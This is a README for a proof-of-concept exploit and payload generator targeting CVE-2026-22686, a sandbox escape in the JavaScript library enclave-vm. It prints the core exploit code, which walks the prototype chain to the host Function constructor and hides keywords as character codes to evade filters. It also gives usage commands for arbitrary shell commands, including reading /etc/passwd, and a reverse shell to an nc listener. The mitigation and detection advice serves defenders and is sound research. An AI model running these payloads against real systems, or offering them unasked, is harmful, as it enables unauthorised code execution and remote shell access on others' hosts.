Proof-of-concept exploit and payload generator for CVE-2026-22686, a sandbox escape in enclave-vm <2.7.0 enabling arbitrary code execution and reverse shells.
A proof-of-concept (PoC) exploit and payload generator for CVE-2026-22686, a critical sandbox escape vulnerability in enclave-vm versions prior to 2.7.0, allowing arbitrary code execution within the host Node.js runtime.
⚠️ Disclaimer: This tool is provided for educational and authorized security testing purposes only. Usage against systems without prior written consent is illegal. The author assumes no liability for any misuse.
enclave-vm is a JavaScript sandboxing library designed to safely execute untrusted code inside a controlled environment. In versions < 2.7.0, a flaw in how host-side error objects are exposed to the sandbox allows an attacker to traverse the prototype chain and reach the host's Function constructor, effectively escaping the sandbox.
This repository contains:
| Field | Value |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Critical) |
| CWE | CWE-693 — Protection Mechanism Failure |
| Component | enclave-vm |
| Affected | < 2.7.0 |
| Fixed in | 2.7.0 |
| Impact | Sandbox escape → arbitrary code execution (RCE) |
When a sandboxed tool call fails, enclave-vm exposes the host-side Error object back to the sandboxed code. Because this error object retains its original prototype chain from the host environment, an attacker can walk up the chain as follows:
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Once the host Function constructor is obtained, the attacker can compile and execute arbitrary JavaScript in the host runtime — completely bypassing the sandbox.
The exploit follows these steps:
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor, which is the host's Function.Function and execute it.child_process and executes an arbitrary shell command (or spawns a reverse shell).All sensitive keywords (constructor, __proto__, __lookupGetter__, prototype) are obfuscated as ASCII character codes to bypass naive static filters.
No external dependencies — uses only the Python standard library.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Requirements:
python3 generator.py
You will be prompted to:
Then copy the generated payload and paste it into the vulnerable sandbox input.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminal 1 (attacker — listener):
nc -lvnp 4444
Terminal 2 (generator):
python3 generator.py --revshell 10.10.15.152 4444
Copy the resulting payload and paste it into the sandbox. You should receive a shell in Terminal 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Flag | Description |
|---|---|
-c, --command | Shell command to execute |
--revshell LHOST LPORT | Generate a reverse shell payload |
--raw | Print only the payload (no banner, no decoration) |
--lang {fr,en} | Force the interface language |
-h, --help | Show help and examples |
const s = (...args) => String.fromCharCode(...args);
A tiny helper to decode ASCII code arrays at runtime.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Avoids trivial string-based filters.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
The host Function is then used to execute the attacker's command via child_process.execSync().
For Developers:
enclave-vm to >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).For Users / Organizations:
Detection:
Look for HTTP requests or code submissions containing callTool('NONEXISTENT', __lookupGetter__, long arrays of comma-separated integer literals, or child_process / execSync.
This project is published strictly for educational and defensive security research. It is intended for security researchers, authorized penetration testers, and CTF players.
Do not use this tool against systems you do not own or lack explicit written authorization to test. Unauthorized access to computer systems is illegal in most jurisdictions (CFAA in the US, Computer Misuse Act in the UK, Article 323-1 in France) and may result in severe criminal penalties.
By using this software, you agree that the author is not responsible for any damages or legal consequences resulting from its use.
This project is licensed under the MIT License — see the LICENSE file for details.
enclave-vm maintainers for the responsible disclosure and fixPull requests are welcome. For major changes, please open an issue first.
Suggested improvements:
vm2, isolated-vm)